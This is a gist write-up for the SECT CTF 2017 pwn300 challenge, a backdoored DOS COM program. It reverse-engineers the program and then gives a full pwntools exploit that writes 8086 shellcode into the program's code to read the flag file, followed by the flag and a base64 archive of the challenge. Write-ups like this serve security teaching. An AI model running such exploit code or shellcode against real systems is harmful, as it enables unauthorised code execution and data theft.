Skip to content

Instantly share code, notes, and snippets.

@warsm
Last active September 15, 2017 15:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save warsm/7040932419a4c68b6dcf84bdd8f47470 to your computer and use it in GitHub Desktop.
Save warsm/7040932419a4c68b6dcf84bdd8f47470 to your computer and use it in GitHub Desktop.
SECT CTF - The Gibson (pwn300) Writeup

SECT CTF 2017 PWN300 Write Up

The gibson - Pwn (300 + 0)

The Plague: Someone didn't bother reading my carefully prepared memo on commonly-used passwords. Now, then, as I so > meticulously pointed out, the four most-used passwords are: love, sex, secret, and... THE FLAG is in the file flag

Solves: 12
Service: nc pwn.sect.ctf.rocks 4444
Download: http://dl.ctf.rocks/thegibson.tar.gz
Author: likvidera

This was a fun challenge I solved for HackingForSoju who finished 2nd.

Description:

The challenge is a reasonably small DOS COM executable.
The 8086 ASM is fairly easy to understand, here is the pseudo representation:

// Print welcome message
print("#######################\n\r"
      "THE GIBSON BACKDOOR\n\r"
      "#######################\n\r");

// Read the password
print("\n\rEnter password: ");
while ((c = getchar()) != '\n')
  *buff++ = c;

// Check the password
pass = "HACKTHEPLANET";
for (i = 0; i < 13; i++)
  if (buff[i] != pass[i])
    goto EXIT;

// Print backdoor prompt
print("\n\r OK! BACKDOOR CMD: ")

// Initialise vars
void *ptr = 0x19a
short val = 0x0

// Read input from the user (without echoing chars back)
while ((c = getchar()) != '\n')
  switch (c){

    // Increment the pointer
    case 'A':
      ptr++;
      break;

    // Decrement the pointer
    case 'B':
      ptr--;
      break;

    // Decrement the value
    case 'C':
      val--;
      break;

    // Increment the value
    case 'D':
      val++
      break;

    // Write the value to the address ptr points to
    case 'E':
      *ptr = val;
      break;
  }

EXIT:
print("\n\rYOU ARE EXPUNGED, PRESS ENTER TO LEAVE!");
if (getchar() == '\n')
  exit(0);

The first step is to send the password: "HACKTHEPLANET" which will give access to the backdoor prompt where we can enter commands. The commands are single characters, A, B, C, D and E that will manipulate a pointer and value and allow us to store the value in memory at the pointer location.

Luckily, there is no such thing as read only memory in a COM executable, so we can write bytes in the code itself. The perfect location to write to would be in the EXIT block (after the exit message is printed, so we have confirmation everything worked as expected).

Now all we have to do is figure out how to write 8086 shellcode...

References:

  1. DOS function codes for int 0x21
  2. 8086 opcodes

Exploit Code:

from pwn import *
import time
import sys

# Info:
#
# COM binary for DOS, it reads a password "HACKTHEPLANET" and then it will let you
# input "commands" in the form of chars that map to instructions:
#
#   A => add bx, 1
#   B => sub bx, 1
#   C => sub cx, 1
#   D => add cx, 1
#   E => mov [bx], cx
#
# With that, we have an arbitrary write, so we can write our code in order to read
# the flag.

LOCAL = True
if len(sys.argv) > 1:
  LOCAL = False

# initial register values
BX = 0x019a
CX = 0x0000

def sendline(line):

  if LOCAL == True:
    print line
  else:
    io.sendline(line)

def inc_bx():
  global BX
  BX += 1
  return 'A'

def dec_bx():
  global BX
  BX -= 1
  return 'B'

def inc_cx():
  global CX
  CX += 1
  return 'D'

def dec_cx():
  global CX
  CX -= 1
  return 'C'

def store():
  return 'E'

def enc_write(pay, addr):
  
  ret = ''

  # set the initial address
  if addr < BX:
    end = BX - addr
    for i in range(end):
      ret += dec_bx()
  elif addr > BX:
    end = addr - BX
    for i in range(end):
      ret += inc_bx()

  # loop through all the bytes of the payload
  for char in pay:
    val = ord(char)
    if val < CX:
      end = CX - val
      for i in range(end):
        ret += dec_cx()

    elif val > CX:
      end = val - CX
      for i in range(end):
        ret += inc_cx()

    # store the byte
    ret += store()

    # Increment the address
    ret += inc_bx()

  return ret

if LOCAL == False:
  io = remote('pwn.sect.ctf.rocks', 4444)
  io.sendline()
  io.sendline()

  io.recvuntil('CHALL.COM')
  io.recvuntil(':')

if LOCAL == False:
  p = log.progress('Sending password...')

# send password
sendline('HACKTHEPLANET')

if LOCAL == False:
  p.success()

FILE = 0x0210           # location to write the file name
BUFF = 0x0230           # location to write the file contents we read
SIZE = 0x0030           # number of bytes to read from the file

pay  = ''

# open file
pay += '\xb4\x3d'       # mov  ah,  0x3d  (open syscall)
pay += '\xb0\x00'       # mov  al,  0x00  (READONLY)
pay += '\xba'+p16(FILE) # mov  dx,  FILE
pay += '\xcd\x21'       # int  0x21

# read from file
pay += '\x93'           # xchg ax,  bx
pay += '\xb4\x3f'       # mov  ah,  0x3f  (read syscall)
pay += '\xb9'+p16(SIZE) # mov  cx,  SIZE
pay += '\xba'+p16(BUFF) # mov  dx,  BUFF
pay += '\xcd\x21'       # int  0x21

# print the buffer
pay += '\xb4\x09'       # mov  ah,  0x09  (print syscall)
pay += '\xba'+p16(BUFF) # mov  dx,  BUFF
pay += '\xcd\x21'       # int  0x21

# wait for char
pay += '\xb4\x01'       # mov  ah,  0x01  (getc syscall)
pay += '\xcd\x21'       # int  0x21

# exit
pay += '\xb4\x4c'       # mov  ah,  0x00  (exit syscall)
pay += '\xcd\x21'       # int  0x21

# build the payload in the final form
xxx  = enc_write(pay, 0x1a1)
xxx += enc_write('flag\x00', FILE)

if LOCAL == False:
  io.recvuntil('OK! BACKDOOR CMD:')
  p = log.progress('Sending %d commands (%d byte payload)' % (len(xxx), len(pay)))

# send commands
sendline(xxx)

if LOCAL == False:
  p.success()

  # wait for output
  p = log.progress('Executing commands...')
  io.recvuntil('YOU ARE EXPUNGED, PRESS ENTER TO LEAVE!')
  flag = io.recvuntil('}')
  p.success()
  log.success('Got Flag: %s' % flag)

  # terminate
  io.send('\n')

Flag:

SECT{MEMBER_MSDOS_I_MEMBER}

A fantastic challenge and a fantastic CTF. Thanks to likvidera and the other organisers.
See attached GIF for a live action version of this writeup and attached base64 tar.gz for the challenge file :)

H4sIAMqCtVkAA+3Sv0sbYRgH8PcEMQaCoNX5DToWvMsluURu8HJ5UdHmYn60DQiSeNcalKjJG/0D
blGngpv+GxnaZKpOCgqli0uXbvIuHTv2TQLFIaVUKCp8P8vz8j6/3uGtVGuzfNN7X600dmrrhp7U
DKOyoRlqxE3oWszQo1HPdZOJd7F42dPIg6hSPB7tRs2IqfdjT1yeNbkspqsyRIgaUaOGTqj6sHX/
ptng5TqlZLu6tV91vXr5D3V/yz9TrdH28NB1WIYlGT4R0iFqO0T8c6WlXIfNIA8cjthW8kvzRz/3
8WxIple1y+Oxk+PZk8Rd803JsudlgZAz1uSMzqkiS1uBXvecafFxM8UnTJu/MNN80mR8Snz3LxTx
zReKuPXvFPHV/6yIm6MxcdXf2fzZIr0n7clxQnz4r7qrpgcKhgqLjC4spfJOhqYsezntOLlgaHDx
TDDEatyr091yo3GwU3fnqLxylsO/O6n9Kt27LDlFauUYZW+zxcwCS7+k2RzL5ynLFFiOFhy6wqzX
LDyzKBvlC7IrVoYVHvufAAAAAAAAAAAAAAAAAAAAAADA0/ML9auvaQAoAAA=
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment